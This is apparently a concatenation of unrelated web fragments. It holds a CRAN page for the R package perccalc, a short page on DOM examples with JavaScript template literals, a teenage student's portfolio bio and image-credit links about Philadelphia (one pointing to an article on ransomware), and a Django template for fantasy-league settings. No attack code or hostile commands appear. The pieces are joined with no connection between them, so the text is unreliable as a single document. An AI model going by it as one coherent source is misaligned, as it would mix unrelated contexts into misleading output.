| Published: | 2018-08-24 |
| Author: | Jorge Cimentada [aut, cre] |
| Maintainer: | Jorge Cimentada <cimentadaj at gmail.com> |
| License: | MIT + file LICENSE |
| NeedsCompilation: | no |
| Language: | en-US |
| Materials: | NEWS |
| CRAN checks: | perccalc results |
| Reference manual: | perccalc.pdf |
| Vignettes: |
Calculating percentile differences from ordered categorical and continuous variables Warning message with perccalc package |
| Package source: | perccalc_1.0.3.tar.gz |
| Windows binaries: | r-devel: perccalc_1.0.3.zip, r-release: perccalc_1.0.3.zip, r-oldrel: perccalc_1.0.3.zip |
| OS X binaries: | r-release: perccalc_1.0.3.tgz, r-oldrel: perccalc_1.0.3.tgz |
| Old sources: | perccalc archive |
Please use the canonical form https://CRAN.R-project.org/package=perccalc to link to this page.


Examples of DOM Interactions with Template Literals
This shows some ways you can interact with the DOM using JavaScript template literals.
These examples require Chrome (with Babel, you could remove this requirement).
Explore the code at GitHub.
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Grid (Modular)
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This shows how to build a grid using a more modular approach.
You might use this approach with more complex components.
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Grid (Inline)
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This shows how to build a grid using a single template literal.
You might use this approach with very simple components.


About Me!
My Name is John Nikols
I am 16 years old, attend Skyline High School and I have been coding for 3 years. I love to play the drums and video games, and I like to play baseball and basketball. I really have enjoyed making this website portfolio for the Neumont 2019 Summer Scholars program.


All gallery images were found from: https://wallpaperdata.com/philadelphia-skyline-wallpaper.html?lang=pt
Map from History Page: https://nakedsecurity.sophos.com/2017/07/26/philadelphia-raas-our-map-of-how-it-works-and-how-to-prevent-it/
Liberty Bell Image + Information: https://travel.usnews.com/Philadelphia_PA/Things_To_Do/Liberty_Bell_Center_52507/
Declaration of Independence Image: https://www.aoc.gov/art/historic-rotunda-paintings/declaration-independence
Independence hall Image + Information: https://www.nps.gov/inde/planyourvisit/independencehall.htm
Cheesesteak Images https://www.thrillist.com/eat/philadelphia/the-pats-vs-genos-rivalry-is-fake
Cheesesteak Info: https://www.citypass.com/articles/philadelphia/order-philly-cheesesteaks
Cheesesteak Images: https://www.flickr.com/photos/wordridden/9773792571/
Fanbase: https://www.nbcphiladelphia.com/news/sports/Philly-fan-mishaps-92790554.html
Snowballs at Santa: http://973espn.com/so-why-did-eagles-fans-boo-and-throw-snowballs-at-santa-claus/
Teams Image: http://wallpaperpulse.com/wallpaper/3133625
Sports Complex Image: https://fineartamerica.com/featured/south-philadelphia-sports-complex-philadelphia-pennsylvania-bill-cobb.html


{% extends 'fantalega/base.html' %} {% load bootstrap3 %} {% block content %}
| budget | max trade remaining | max goalkeepers | max defenders | max midfielders | max forwards | rounds to do | offset |
|---|---|---|---|---|---|---|---|
| {{ league.budget }} | {{ league.max_trades }} | {{ league.max_goalkeepers }} | {{ league.max_defenders }} | {{ league.max_midfielders }} | {{ league.max_forwards }} | {{ league.rounds }} | {{ league.offset }} |